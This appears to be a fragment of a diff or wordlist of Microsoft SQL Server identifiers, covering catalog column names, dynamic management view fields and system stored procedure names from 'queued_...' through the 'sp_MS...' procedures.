+queued_population_type_description +queued_request_count +queued_requests +queue_id +queue_length +queue_max_len +queue_messages_1003150619 +queue_messages_1035150733 +queue_messages_1067150847 +queue_size +queuing_order +quorum_commit_lsn +quorum_commit_time +quorum_state +quorum_state_desc +quorum_type +quorum_type_desc +quoted_identifier +range_count +range_high_key +range_rows +range_scan_count +rank +rank_desc +rcmodified +rcrows +rcvfrag +rcvseq +reached_end +read_access +read_ahead_count +read_ahead_distance +read_ahead_done +read_ahead_target +read_bytes_total +read_command +read_count +reader_spid +read_io_completed_total +read_io_count +read_io_issued_total +read_io_queued_total +read_io_stall_queued_ms +read_io_stall_total_ms +read_io_throttled_total +read_location +read_microsec +readobj +readonlybaselsn +read_only_count +read_only_lsn +readonlylsn +readonly_reason +read_only_replica_id +read_only_routing_url +read_operation_count +reads +Reads +reads_completed +read_set_row_count +reads_merged +read_time_ms +read_version +read_write_lsn +readwritelsn +read_write_routing_url +real +reason +reason_desc +re_awcName +rebind_count +re_bitpos +re_ccName +received_time +receive_sequence +receive_sequence_frag +receives_posted +re_colattr +re_colid +re_collatid +re_computed +record +record_count +record_image_first_part +record_image_second_part +record_length_first_part_in_bytes +record_length_second_part_in_bytes +recovery_checkpoint_id +recovery_checkpoint_ts +recovery_fork_guid +recovery_health +recovery_health_desc +recovery_lsn +recovery_lsn_candidate +recovery_model +recovery_model_desc +recovery_unit_id +recovery_vlf_count +recv_bytes +recv_compressed +recv_drops +recv_errors +recv_fifo +recv_frame +recv_multicast +recv_packets +redo_queue_size +redo_rate +redo_start_fork_guid +redostartforkguid +redo_start_lsn +redostartlsn +redo_target_fork_guid +redo_target_lsn +redotargetlsn +reduce_progress +refadd +re_fAnsiTrim +refcount +ref_counter +refcounts +refdate +reference_count +referenced_assembly_id +referenced_class +referenced_class_desc +referenced_column_id +referenced_database_name +referenced_entity_name +referenced_id +referenced_major_id +referenced_minor_id +referenced_minor_name +referenced_object_id +referenced_schema_name +referenced_server_name +reference_name +referencing_class +referencing_class_desc +referencing_entity_name +referencing_id +referencing_minor_id +referencing_schema_name +REFERENTIAL_CONSTRAINTS +refkeys +refmod +re_fNullable +regenerate_date +region +region_allocation_base_address +region_allocation_protection +region_base_address +region_current_protection +region_size_in_bytes +region_state +region_type +register_date +registered_by +registered_search_properties +registered_search_property_lists +registry_key +regular_buffer_size +rejected_row_location +rejected_rows_path +reject_sample_value +reject_type +reject_value +relative_file_path +relative_path +remaining_file_name +re_maxlen +remote_data_archive_databases +remote_data_archive_tables +remote_database_id +remote_database_name +remote_hit +remote_logins +remote_machine_name +remote_name +remote_node +remote_object_name +remote_physical_seeding_id +remote_principal_id +remote_schema_name +remoteserverid +remote_service_binding_id +remote_service_bindings +remote_service_name +remote_table_name +remote_user_name +remoteusername +removal_time +removed_all_rounds_count +removed_in_all_rounds_count +removed_last_round_count +remsvc +re_numcols +re_numtextcols +re_offset +replica_id +replica_metadata_id +replica_name +replica_server_name +replinfo +re_prec +req_cryrefcnt +req_ecid +req_lifetime +req_mode +req_ownertype +req_refcnt +req_spid +req_status +req_transactionID +req_transactionUOW +request_context_address +request_count +requested_memory_kb +request_exec_context_id +request_id +RequestID +request_lifetime +request_max_cpu_time_sec +request_max_memory_grant_percent +request_max_memory_grant_percent_numeric +request_max_resource_grant_percent +request_memory_grant_timeout_sec +request_min_resource_grant_percent +request_mode +request_owner_guid +request_owner_id +request_owner_lockspace_id +request_owner_type +request_reference_count +request_request_id +request_session_id +request_state +request_status +request_time +request_type +required_cursor_options +required_memory_kb +required_synchronized_secondaries_to_commit +re_scale +re_schema_lsn_begin +re_schema_lsn_end +reserved +reserved2 +reserved3 +reserved4 +reserved_bytes +reserved_bytes_by_xdes_id +reserved_io_limited_by_volume_total +reserve_disk_space +reserved_node_bitmap +reserved_page_count +reserved_space_kb +reserved_storage_mb +reserved_worker_count +resource_address +resource_allocation_percentage +resource_associated_entity_id +resource_class +resource_database_id +resource_description +resource_governor_configuration +resource_governor_external_resource_pool_affinity +resource_governor_external_resource_pools +resource_governor_resource_pool_affinity +resource_governor_resource_pools +resource_governor_workload_groups +resource_group_id +resource_id +resource_lock_partition +resource_manager_ack_received +resource_manager_database +resource_manager_dbid +resource_manager_diag_status +resource_manager_id +resource_manager_location +resource_manager_prepare_lsn +resource_manager_server +resource_manager_state +resource_monitor_state +resource_name +resource_phase_1_time +resource_phase_2_time +resource_pool_id +resource_prepare_lsn +resource_semaphore_id +resource_subtype +resource_type +response_rows +result +result_cache_hit +result_desc +result_format +result_format_desc +resultlimit +resultobj +result_schema +result_schema_desc +retention_days +retention_period +retention_period_units +retention_period_units_desc +retired_row_count +retired_transaction_count +retries_attempted +retry_attempts +retry_count +retry_hints +retry_hints_description +retry_interval +return_code +returned_aggregate_count +returned_group_count +returned_row_count +revert_action_duration +revert_action_initiated_by +revert_action_initiated_time +revert_action_start_time +revision +rewind_count +re_xvtype +right_boundary +ring_buffer_address +ring_buffer_type +rkey +rkey1 +rkey10 +rkey11 +rkey12 +rkey13 +rkey14 +rkey15 +rkey16 +rkey2 +rkey3 +rkey4 +rkey5 +rkey6 +rkey7 +rkey8 +rkey9 +rkeydbid +rkeyid +rkeyindid +rmtloginame +rmtpassword +rmtsrvid +role +role_desc +RoleName +role_principal_id +roles +rolesequence +role_sequence_number +root +root_page +rounds_count +round_start_time +route_id +routes +ROUTINE_BODY +ROUTINE_CATALOG +ROUTINE_COLUMNS +ROUTINE_DEFINITION +ROUTINE_NAME +ROUTINES +ROUTINE_SCHEMA +ROUTINE_TYPE +routing_priority +row_address +rowcnt +row_count +row_count_in_thousands +RowCounts +row_delete_attempts +RowFlags +row_group_id +row_group_lock_count +row_group_lock_wait_count +row_group_lock_wait_in_ms +row_group_quality +row_insert_attempts +row_lock_count +row_lock_wait_count +row_lock_wait_in_ms +rowmodctr +row_overflow_fetch_in_bytes +row_overflow_fetch_in_pages +row_overflow_reserved_page_count +row_overflow_used_page_count +rows +rowset +rowset_id +rowsetid +RowsetId +rowsetid_delete +rowsetid_insert +rowsetnum +rows_examined +rows_expired +rows_expired_removed +rows_expiring +rows_first_in_bucket +rows_first_in_bucket_removed +rows_handled +rows_inserted +rows_marked_for_unlink +rows_no_sweep_needed +rows_processed +rows_rejected +rows_returned +rows_sampled +rows_touched +row_terminator +row_update_attempts +row_version +rpc +rpcout +rsc_bin +rsc_dbid +rsc_flag +rsc_indid +rsc_objid +rscolid +rsc_text +rsc_type +rsc_valblk +rsguid +rsid +rsndtime +rule_object_id +run_date +run_duration +run_id +runnable_tasks_count +run_status +run_time +runtime_stats_id +runtime_stats_interval_id +safety +safety_level +safety_level_desc +safetysequence +safety_sequence_number +sample_ms +savepoint_create +savepoint_garbage_count +savepoint_refreshes +savepoint_rollbacks +scale +scan_area +scan_area_desc +scan_count +scan_direction +scan_location +scan_phase +scan_set_count +scans_retried +scans_retries +scans_started +scan_status +scheduler_address +scheduler_count +scheduler_id +scheduler_mask +scheduler_total_count +schema_change_count +schemadate +schema_id +SCHEMA_LEVEL_ROUTINE +schema_name +SCHEMA_NAME +SCHEMA_OWNER +schemas +SCHEMATA +schema_ver +schid +scid +scope +scope_batch +SCOPE_CATALOG +scope_desc +scope_id +scopeid +SCOPE_NAME +scope_object_id +SCOPE_SCHEMA +scope_type +scopetype +scope_type_desc +scoping_xml_component_id +score +script_id +script_level +script_name +scrollable +se_bitpos +se_colid +se_collatid +se_computed +secondary_dictionary_id +secondary_lag_seconds +secondary_low_water_mark +secondary_recovery_health +secondary_recovery_health_desc +secondary_role_allow_connections +secondary_role_allow_connections_desc +secondary_type +secondary_type_desc +sectors_read +sectors_written +securable_class_desc +securable_classes +securityadmin +security_id +security_policies +security_predicate_id +security_predicates +security_timestamp +sec_version_rid +seeding_mode +seeding_mode_desc +seed_value +se_fAnsiTrim +se_fNullable +segid +segmap +segment_bytes_dispatched +segment_id +segment_read_count +segment_skip_count +seladd +selall +selective_xml_index_namespaces +selective_xml_index_paths +self_address +selmod +seltrig +se_maxlen +sendseq +send_sequence +sends_posted +sendxact +sensitivity +sensitivity_classifications +sent_time +se_nullBitInLeafRows +se_numcols +se_offset +se_prec +seq_num +SEQUENCE_CATALOG +sequence_group_id +SEQUENCE_NAME +sequence_num +sequence_number +sequences +SEQUENCES +SEQUENCE_SCHEMA +sequence_value +serde_method +serializer_kernel_time_in_ms +serializer_user_time_in_ms +se_rowsetid +server +serveradmin +server_assembly_modules +server_audits +server_audit_specification_details +server_audit_specifications +server_event_notifications +server_events +server_event_session_actions +server_event_session_events +server_event_session_fields +server_event_sessions +server_event_session_targets +server_file_audits +server_id +server_instance_name +server_len_in_bytes +server_memory_optimized_hybrid_buffer_pool_configuration +server_name +ServerName +server_permissions +server_principal_credentials +server_principal_id +server_principal_name +server_principals +server_principal_sid +server_role_members +servers +server_specification_id +server_sql_modules +server_trigger_events +server_triggers +service_account +service_broker_endpoints +service_broker_guid +ServiceBrokerQueue +service_contract_id +service_contract_message_usages +service_contract_name +service_contracts +service_contract_usages +service_id +service_message_types +service_name +servicename +service_queue_id +service_queues +service_queue_usages +services +se_scale +se_schema_lsn_begin +se_schema_lsn_end +session_context +session_context_keys +session_handle +session_id +SessionLoginName +session_phase +session_server_principal_name +session_source +session_timeout +set_date +set_options +setopts +setupadmin +severity +Severity +se_xvtype +sgam_page_id +sgam_status +sgam_status_desc +sharding_col_id +sharding_dist_type +shard_map_manager_db +shard_map_name +shared +share_delete +shared_memory_committed_kb +shared_memory_reserved_kb +shared_pool_size +share_intention +share_read +share_write +shortmonths +shutdown_time +sid +sigma_blocks_ahead +signal_time +signal_wait_time_ms +signal_worker_address +signature +similarity_index_page_count +simulated_kb +simulation_benefit +singleton_lookup_count +site +size +size_based_cleanup_mode +size_based_cleanup_mode_desc +sizeclass_count +size_in_bytes +size_on_disk_bytes +sizepg +skips_repl_constraints +sku +sleep_time +slot_count +slot_id +smalldatetime +smallint +smallmoney +snapshot_id +snapshot_isolation_state +snapshot_isolation_state_desc +snapshot_sequence_num +snapshot_time +snapshot_timestamp +snapshot_url +sni_error_address +snum +soap_endpoints +socket_count +softirq_time_cs +softnuma_configuration +softnuma_configuration_desc +sos_task_address +source +source_column +source_compute +source_createparams +source_database +source_database_id +SourceDatabaseID +source_database_name +source_dbms +source_desc +source_distribution_id +source_file +source_info +source_length_max +source_length_min +source_nullable +source_precision_max +source_precision_min +source_props +source_query_text +source_scale_max +source_scale_min +source_schema +source_schema_name +source_server +source_table +source_table_id +source_table_name +source_term +source_type +source_version +spacelimit +sp_add_agent_parameter +sp_add_agent_profile +sp_addapprole +sp_addarticle +sp_add_columnstore_column_dictionary +sp_add_data_file_recover_suspect_db +sp_adddatatype +sp_adddatatypemapping +sp_adddistpublisher +sp_adddistributiondb +sp_adddistributor +sp_adddynamicsnapshot_job +sp_addextendedproc +sp_addextendedproperty +sp_AddFunctionalUnitToComponent +sp_addlinkedserver +sp_addlinkedsrvlogin +sp_add_log_file_recover_suspect_db +sp_addlogin +sp_addlogreader_agent +sp_add_log_shipping_alert_job +sp_add_log_shipping_primary_database +sp_add_log_shipping_primary_secondary +sp_add_log_shipping_secondary_database +sp_add_log_shipping_secondary_primary +sp_addmergealternatepublisher +sp_addmergearticle +sp_addmergefilter +sp_addmergelogsettings +sp_addmergepartition +sp_addmergepublication +sp_addmergepullsubscription +sp_addmergepullsubscription_agent +sp_addmergepushsubscription_agent +sp_addmergesubscription +sp_addmessage +sp_addpublication +sp_addpublication_snapshot +sp_addpullsubscription +sp_addpullsubscription_agent +sp_addpushsubscription_agent +sp_addqreader_agent +sp_addqueued_artinfo +sp_addremotelogin +sp_addrole +sp_addrolemember +sp_addscriptexec +sp_addserver +sp_addsrvrolemember +sp_addsubscriber +sp_addsubscriber_schedule +sp_addsubscription +sp_addsynctriggers +sp_addsynctriggerscore +sp_addtabletocontents +sp_add_trusted_assembly +sp_addtype +sp_addumpdevice +sp_adduser +sp_adjustpublisheridentityrange +sp_altermessage +sp_alter_nt_job_mem_configs +sp_approlepassword +spare1 +sp_articlecolumn +sp_articlefilter +sp_article_validation +sp_articleview +sp_assemblies_rowset +sp_assemblies_rowset2 +sp_assemblies_rowset_rmt +sp_assembly_dependencies_rowset +sp_assembly_dependencies_rowset2 +sp_assembly_dependencies_rowset_rmt +spatial_indexes +spatial_index_tessellations +spatial_index_type +spatial_index_type_desc +spatial_reference_id +spatial_reference_systems +sp_attach_db +sp_attach_single_file_db +sp_attachsubscription +sp_audit_write +sp_autoindex_cancel_dta +sp_autoindex_invoke_dta +sp_autostats +sp_availability_group_command_internal +sp_bcp_dbcmptlevel +sp_begin_parallel_nested_tran +sp_bindefault +sp_bindrule +sp_bindsession +sp_browsemergesnapshotfolder +sp_browsereplcmds +sp_browsesnapshotfolder +sp_build_histogram +sp_can_tlog_be_applied +sp_catalogs +sp_catalogs_rowset +sp_catalogs_rowset2 +sp_catalogs_rowset_rmt +sp_cdc_add_job +sp_cdc_change_job +sp_cdc_cleanup_change_table +sp_cdc_dbsnapshotLSN +sp_cdc_disable_db +sp_cdc_disable_table +sp_cdc_drop_job +sp_cdc_enable_db +sp_cdc_enable_table +sp_cdc_generate_wrapper_function +sp_cdc_get_captured_columns +sp_cdc_get_ddl_history +sp_cdc_help_change_data_capture +sp_cdc_help_jobs +sp_cdc_restoredb +sp_cdc_scan +sp_cdc_start_job +sp_cdc_stop_job +sp_cdc_vupgrade +sp_cdc_vupgrade_databases +sp_certify_removable +sp_change_agent_parameter +sp_change_agent_profile +sp_changearticle +sp_changearticlecolumndatatype +sp_changedbowner +sp_changedistpublisher +sp_changedistributiondb +sp_changedistributor_password +sp_changedistributor_property +sp_changedynamicsnapshot_job +sp_changelogreader_agent +sp_change_log_shipping_primary_database +sp_change_log_shipping_secondary_database +sp_change_log_shipping_secondary_primary +sp_changemergearticle +sp_changemergefilter +sp_changemergelogsettings +sp_changemergepublication +sp_changemergepullsubscription +sp_changemergesubscription +sp_changeobjectowner +sp_changepublication +sp_changepublication_snapshot +sp_changeqreader_agent +sp_changereplicationserverpasswords +sp_change_repl_serverport +sp_changesubscriber +sp_changesubscriber_schedule +sp_changesubscription +sp_changesubscriptiondtsinfo +sp_change_subscription_properties +sp_changesubstatus +sp_change_tracking_waitforchanges +sp_change_users_login +sp_check_constbytable_rowset +sp_check_constbytable_rowset2 +sp_check_constraints_rowset +sp_check_constraints_rowset2 +sp_check_dynamic_filters +sp_check_for_sync_trigger +sp_checkinvalidivarticle +sp_check_join_filter +sp_check_log_shipping_monitor_alert +sp_checkOraclepackageversion +sp_check_publication_access +sp_check_removable +sp_check_subset_filter +sp_check_sync_trigger +sp_clean_db_file_free_space +sp_clean_db_free_space +sp_cleanmergelogfiles +sp_cleanup_all_openrowset_statistics +sp_cleanup_all_user_data_in_master +sp_cleanup_data_retention +sp_cleanupdbreplication +sp_cleanup_log_shipping_history +sp_cleanup_temporal_history +sp_cloud_update_blob_tier +sp_collect_backend_plan +sp_column_privileges +sp_column_privileges_ex +sp_column_privileges_rowset +sp_column_privileges_rowset2 +sp_column_privileges_rowset_rmt +sp_columns +sp_columns_100 +sp_columns_100_rowset +sp_columns_100_rowset2 +sp_columns_90 +sp_columns_90_rowset +sp_columns_90_rowset2 +sp_columns_90_rowset_rmt +sp_columns_ex +sp_columns_ex_100 +sp_columns_ex_90 +sp_columns_managed +sp_columns_rowset +sp_columns_rowset2 +sp_columns_rowset_rmt +sp_commit_parallel_nested_tran +sp_configure +sp_configure_automatic_tuning +sp_configure_peerconflictdetection +sp_constr_col_usage_rowset +sp_constr_col_usage_rowset2 +sp_control_dbmasterkey_password +sp_control_plan_guide +sp_copymergesnapshot +sp_copysnapshot +sp_copysubscription +sp_create_asymmetric_key_from_external_key +sp_create_format_type +sp_createmergepalrole +sp_create_openrowset_statistics +sp_createorphan +sp_create_plan_guide +sp_create_plan_guide_from_handle +sp_create_removable +sp_createstats +sp_create_streaming_job +sp_createtranpalrole +sp_cursor +sp_cursorclose +sp_cursorexecute +sp_cursorfetch +sp_cursor_list +sp_cursoropen +sp_cursoroption +sp_cursorprepare +sp_cursorprepexec +sp_cursorunprepare +sp_cycle_errorlog +sp_databases +sp_data_pool_database_query_state +sp_data_pool_table_query_state +sp_data_source_objects +sp_data_source_table_columns +sp_datatype_info +sp_datatype_info_100 +sp_datatype_info_90 +sp_dbcmptlevel +sp_db_ebcdic277_2 +sp_dbfixedrolepermission +sp_db_increased_partitions +sp_dbmmonitoraddmonitoring +sp_dbmmonitorchangealert +sp_dbmmonitorchangemonitoring +sp_dbmmonitordropalert +sp_dbmmonitordropmonitoring +sp_dbmmonitorhelpalert +sp_dbmmonitorhelpmonitoring +sp_dbmmonitorresults +sp_dbmmonitorupdate +sp_dbremove +sp_db_selective_xml_index +sp_db_vardecimal_storage_format +sp_ddopen +sp_defaultdb +sp_defaultlanguage +sp_delete_backup +sp_delete_backup_file_snapshot +sp_delete_http_namespace_reservation +sp_delete_log_shipping_alert_job +sp_delete_log_shipping_primary_database +sp_delete_log_shipping_primary_secondary +sp_delete_log_shipping_secondary_database +sp_delete_log_shipping_secondary_primary +sp_deletemergeconflictrow +sp_deletepeerrequesthistory +sp_deletetracertokenhistory +sp_denylogin +sp_depends +sp_describe_cursor +sp_describe_cursor_columns +sp_describe_cursor_tables +sp_describe_first_result_set +sp_describe_parameter_encryption +sp_describe_undeclared_parameters +sp_detach_db +sp_diagnostic_showplan_log_dbid +sp_disableagentoffload +sp_distcounters +sp_drop_agent_parameter +sp_drop_agent_profile +sp_dropanonymousagent +sp_dropanonymoussubscription +sp_dropapprole +sp_droparticle +sp_dropdatatypemapping +sp_dropdevice +sp_dropdistpublisher +sp_dropdistributiondb +sp_dropdistributor +sp_dropdynamicsnapshot_job +sp_dropextendedproc +sp_dropextendedproperty +sp_drop_format_type +sp_droplinkedsrvlogin +sp_droplogin +sp_dropmergealternatepublisher +sp_dropmergearticle +sp_dropmergefilter +sp_dropmergelogsettings +sp_dropmergepartition +sp_dropmergepublication +sp_dropmergepullsubscription +sp_dropmergesubscription +sp_dropmessage +sp_drop_openrowset_statistics +sp_droporphans +sp_droppublication +sp_droppublisher +sp_droppullsubscription +sp_dropremotelogin +sp_dropreplsymmetrickey +sp_droprole +sp_droprolemember +sp_dropserver +sp_dropsrvrolemember +sp_drop_streaming_job +sp_dropsubscriber +sp_dropsubscription +sp_drop_trusted_assembly +sp_droptype +sp_dropuser +sp_dsninfo +special_build +special_term +SPECIFIC_CATALOG +SPECIFIC_NAME +SPECIFIC_SCHEMA +sp_enableagentoffload +sp_enable_heterogeneous_subscription +sp_enable_sql_debug +sp_enclave_send_keys +sp_enumcustomresolvers +sp_enumdsn +sp_enumeratependingschemachanges +sp_enumerrorlogs +sp_enumfullsubscribers +sp_enumoledbdatasources +sp_enum_oledb_providers +sp_estimate_data_compression_savings +sp_estimated_rowsize_reduction_for_vardecimal +sp_execute +sp_execute_external_script +sp_execute_remote +sp_executesql +sp_executesql_metrics +sp_expired_subscription_cleanup +sp_fido_build_basic_histogram +sp_fido_build_histogram +sp_fido_get_glm_server_update_lock +sp_fido_glms_execute_command +sp_fido_glms_set_storage_containers +sp_fido_glms_unregister_appname +sp_fido_indexstore_update_topology +sp_fido_remove_retention_policy +sp_fido_set_ddl_step +sp_fido_set_retention_policy +sp_fido_set_tran +sp_fido_setup_endpoints +sp_fido_setup_glms +sp_fido_tran_abort +sp_fido_tran_begin +sp_fido_tran_commit +sp_fido_tran_get_state +sp_fido_tran_set_token +sp_filestream_force_garbage_collection +sp_filestream_recalculate_container_size +sp_firstonly_bitmap +sp_fkeys +sp_flush_commit_table +sp_flush_commit_table_on_demand +sp_flush_CT_internal_table_on_demand +sp_flush_ledger_transactions_table +sp_flush_log +sp_force_slog_truncation +sp_foreignkeys +sp_foreign_keys_rowset +sp_foreign_keys_rowset2 +sp_foreign_keys_rowset3 +sp_foreign_keys_rowset_rmt +sp_fulltext_catalog +sp_fulltext_column +sp_fulltext_database +sp_fulltext_getdata +sp_fulltext_keymappings +sp_fulltext_load_thesaurus_file +sp_fulltext_pendingchanges +sp_fulltext_recycle_crawl_log +sp_fulltext_semantic_register_language_statistics_db +sp_fulltext_semantic_unregister_language_statistics_db +sp_fulltext_service +sp_fulltext_table +sp_FuzzyLookupTableMaintenanceInstall +sp_FuzzyLookupTableMaintenanceInvoke +sp_FuzzyLookupTableMaintenanceUninstall +sp_generate_agent_parameter +sp_generate_database_ledger_digest +sp_generatefilters +sp_generate_openrowset_statistics_props +sp_getagentparameterlist +sp_getapplock +sp_getbindtoken +sp_get_database_scoped_credential +sp_getdefaultdatatypemapping +sp_get_distributor +sp_getdistributorplatform +sp_get_dmv_collector_views +sp_get_fido_lock +sp_get_fido_lock_batch +sp_get_file_splits +sp_get_job_status_mergesubscription_agent +sp_getmergedeletetype +sp_get_mergepublishedarticleproperties +sp_get_migration_vlf_state +sp_get_openrowset_statistics_additional_props +sp_get_openrowset_statistics_cardinality +sp_get_Oracle_publisher_metadata +sp_getProcessorUsage +sp_getpublisherlink +sp_get_query_template +sp_getqueuedarticlesynctraninfo +sp_getqueuedrows +sp_get_redirected_publisher +sp_getschemalock +sp_getsqlqueueversion +sp_get_streaming_job +sp_getsubscriptiondtspackagename +sp_getsubscription_status_hsnapshot +sp_gettopologyinfo +sp_get_total_openrowset_statistics_count +sp_getVolumeFreeSpace +sp_grantdbaccess +sp_grantlogin +sp_grant_publication_access +sp_help +sp_help_agent_default +sp_help_agent_parameter +sp_help_agent_profile +sp_helpallowmerge_publication +sp_helparticle +sp_helparticlecolumns +sp_helparticledts +sp_helpconstraint +sp_helpdatatypemap +sp_help_datatype_mapping +sp_helpdb +sp_helpdbfixedrole +sp_helpdevice +sp_helpdistpublisher +sp_helpdistributiondb +sp_helpdistributor +sp_helpdistributor_properties +sp_helpdynamicsnapshot_job +sp_helpextendedproc +sp_helpfile +sp_helpfilegroup +sp_help_fulltext_catalog_components +sp_help_fulltext_catalogs +sp_help_fulltext_catalogs_cursor +sp_help_fulltext_columns +sp_help_fulltext_columns_cursor +sp_help_fulltext_system_components +sp_help_fulltext_tables +sp_help_fulltext_tables_cursor +sp_helpindex +sp_helplanguage +sp_helplinkedsrvlogin +sp_helplogins +sp_helplogreader_agent +sp_help_log_shipping_alert_job +sp_help_log_shipping_monitor +sp_help_log_shipping_monitor_primary +sp_help_log_shipping_monitor_secondary +sp_help_log_shipping_primary_database +sp_help_log_shipping_primary_secondary +sp_help_log_shipping_secondary_database +sp_help_log_shipping_secondary_primary +sp_helpmergealternatepublisher +sp_helpmergearticle +sp_helpmergearticlecolumn +sp_helpmergearticleconflicts +sp_helpmergeconflictrows +sp_helpmergedeleteconflictrows +sp_helpmergefilter +sp_helpmergelogfiles +sp_helpmergelogfileswithdata +sp_helpmergelogsettings +sp_helpmergepartition +sp_helpmergepublication +sp_helpmergepullsubscription +sp_helpmergesubscription +sp_helpntgroup +sp_help_peerconflictdetection +sp_helppeerrequests +sp_helppeerresponses +sp_helppublication +sp_help_publication_access +sp_helppublication_snapshot +sp_helppublicationsync +sp_helppullsubscription +sp_helpqreader_agent +sp_helpremotelogin +sp_helpreplfailovermode +sp_helpreplicationdb +sp_helpreplicationdboption +sp_helpreplicationoption +sp_helprole +sp_helprolemember +sp_helprotect +sp_helpserver +sp_helpsort +sp_help_spatial_geography_histogram +sp_help_spatial_geography_index +sp_help_spatial_geography_index_xml +sp_help_spatial_geometry_histogram +sp_help_spatial_geometry_index +sp_help_spatial_geometry_index_xml +sp_helpsrvrole +sp_helpsrvrolemember +sp_helpstats +sp_helpsubscriberinfo +sp_helpsubscription +sp_helpsubscriptionerrors +sp_helpsubscription_properties +sp_helptext +sp_helptracertokenhistory +sp_helptracertokens +sp_helptrigger +sp_helpuser +sp_helpxactsetjob +sp_http_generate_wsdl_complex +sp_http_generate_wsdl_defaultcomplexorsimple +sp_http_generate_wsdl_defaultsimpleorcomplex +sp_http_generate_wsdl_simple +spid +SPID +sp_identitycolumnforreplication +sp_IHadd_sync_command +sp_IHarticlecolumn +sp_IHget_loopback_detection +sp_IH_LR_GetCacheData +sp_IHScriptIdxFile +sp_IHScriptSchFile +sp_IHValidateRowFilter +sp_IHXactSetJob +sp_indexcolumns_managed +sp_indexes +sp_indexes_100_rowset +sp_indexes_100_rowset2 +sp_indexes_90_rowset +sp_indexes_90_rowset2 +sp_indexes_90_rowset_rmt +sp_indexes_managed +sp_indexes_rowset +sp_indexes_rowset2 +sp_indexes_rowset_rmt +sp_indexoption +spins +spins_per_collision +sp_internal_alter_nt_job_limits +sp_invalidate_textptr +sp_is_columnstore_column_dictionary_enabled +sp_is_makegeneration_needed +sp_ivindexhasnullcols +sp_kill_filestream_non_transacted_handles +sp_kill_oldest_transaction_on_secondary +sp_ldw_apply_file_updates_for_ext_table +sp_ldw_get_file_updates_for_ext_table +sp_ldw_insert_container_and_partition_for_ext_table +sp_ldw_internal_tables_clean_up +sp_ldw_normalize_ext_tab_name +sp_ldw_refresh_internal_table_on_distribution +sp_ldw_select_entries_from_internal_table +sp_ldw_update_stats_for_ext_table +sp_lightweightmergemetadataretentioncleanup +sp_linkedservers +sp_linkedservers_rowset +sp_linkedservers_rowset2 +sp_link_publication +sp_lock +sp_logshippinginstallmetadata +sp_lookupcustomresolver +sp_mapdown_bitmap +sp_markpendingschemachange +sp_marksubscriptionvalidation +sp_memory_leak_detection +sp_memory_optimized_cs_migration +sp_mergearticlecolumn +sp_mergecleanupmetadata +sp_mergedummyupdate +sp_mergemetadataretentioncleanup +sp_mergesubscription_cleanup +sp_mergesubscriptionsummary +sp_metadata_sync_connector_add +sp_metadata_sync_connector_drop +sp_metadata_sync_connectors_status +sp_migrate_user_to_contained +sp_monitor +sp_MSacquireHeadofQueueLock +sp_MSacquireserverresourcefordynamicsnapshot +sp_MSacquireSlotLock +sp_MSacquiresnapshotdeliverysessionlock +sp_MSactivate_auto_sub +sp_MSactivatelogbasedarticleobject +sp_MSactivateprocedureexecutionarticleobject +sp_MSadd_anonymous_agent +sp_MSaddanonymousreplica +sp_MSadd_article +sp_MSadd_compensating_cmd +sp_MSadd_distribution_agent +sp_MSadd_distribution_history +sp_MSadddynamicsnapshotjobatdistributor +sp_MSadd_dynamic_snapshot_location +sp_MSadd_filteringcolumn +sp_MSaddguidcolumn +sp_MSaddguidindex +sp_MSaddinitialarticle +sp_MSaddinitialpublication +sp_MSaddinitialschemaarticle +sp_MSaddinitialsubscription +sp_MSaddlightweightmergearticle +sp_MSadd_logreader_agent +sp_MSadd_logreader_history +sp_MSadd_log_shipping_error_detail +sp_MSadd_log_shipping_history_detail +sp_MSadd_merge_agent +sp_MSadd_merge_anonymous_agent +sp_MSaddmergedynamicsnapshotjob +sp_MSadd_merge_history +sp_MSadd_merge_history90 +sp_MSadd_mergereplcommand +sp_MSadd_mergesubentry_indistdb +sp_MSadd_merge_subscription +sp_MSaddmergetriggers +sp_MSaddmergetriggers_from_template +sp_MSaddmergetriggers_internal +sp_MSaddpeerlsn +sp_MSadd_publication +sp_MSadd_qreader_agent +sp_MSadd_qreader_history +sp_MSadd_repl_alert +sp_MSadd_replcmds_mcit +sp_MSadd_repl_command +sp_MSadd_repl_commands27hp +sp_MSadd_repl_error +sp_MSadd_replmergealert +sp_MSadd_snapshot_agent +sp_MSadd_snapshot_history +sp_MSadd_subscriber_info +sp_MSadd_subscriber_schedule +sp_MSadd_subscription +sp_MSadd_subscription_3rd +sp_MSaddsubscriptionarticles +sp_MSadd_tracer_history +sp_MSadd_tracer_token +sp_MSadjust_pub_identity +sp_MSagent_retry_stethoscope +sp_MSagent_stethoscope +sp_MSallocate_new_identity_range +sp_MSalreadyhavegeneration +sp_MSanonymous_status +sp_MSarticlecleanup +sp_MSbrowsesnapshotfolder +sp_MScache_agent_parameter +sp_MScdc_capture_job +sp_MScdc_cleanup_job +sp_MScdc_db_ddl_event +sp_MScdc_ddl_event +sp_MScdc_logddl +sp_MSchange_article +sp_MSchangearticleresolver +sp_MSchange_distribution_agent_properties +sp_MSchangedynamicsnapshotjobatdistributor +sp_MSchangedynsnaplocationatdistributor +sp_MSchange_logreader_agent_properties +sp_MSchange_merge_agent_properties +sp_MSchange_mergearticle +sp_MSchange_mergepublication +sp_MSchangeobjectowner +sp_MSchange_originatorid +sp_MSchange_priority +sp_MSchange_publication +sp_MSchange_retention +sp_MSchange_retention_period_unit +sp_MSchange_snapshot_agent_properties +sp_MSchange_subscription_dts_info +sp_MScheck_agent_instance +sp_MScheck_dropobject +sp_MScheckexistsgeneration +sp_MScheckexistsrecguid +sp_MScheckfailedprevioussync +sp_MScheckidentityrange +sp_MScheckIsPubOfSub +sp_MScheck_Jet_Subscriber +sp_MScheck_logicalrecord_metadatamatch +sp_MScheck_merge_subscription_count +sp_MScheck_pub_identity +sp_MScheck_pull_access +sp_MSchecksharedagentforpublication +sp_MScheck_snapshot_agent +sp_MSchecksnapshotstatus +sp_MScheck_subscription +sp_MScheck_subscription_expiry +sp_MScheck_subscription_partition +sp_MScheck_tran_retention +sp_MScleanup_agent_entry +sp_MScleanup_conflict +sp_MScleanupdynamicsnapshotfolder +sp_MScleanupdynsnapshotvws +sp_MSCleanupForPullReinit +sp_MScleanupmergepublisher +sp_MScleanupmergepublisher_internal +sp_MScleanup_publication_ADinfo +sp_MScleanup_subscription_distside_entry +sp_MSclear_dynamic_snapshot_location +sp_MSclearresetpartialsnapshotprogressbit +sp_MScomputelastsentgen +sp_MScomputemergearticlescreationorder +sp_MScomputemergeunresolvedrefs +sp_MSconflicttableexists +sp_MScreate_all_article_repl_views +sp_MScreate_article_repl_views +sp_MScreatedisabledmltrigger +sp_MScreate_dist_tables +sp_MScreatedummygeneration 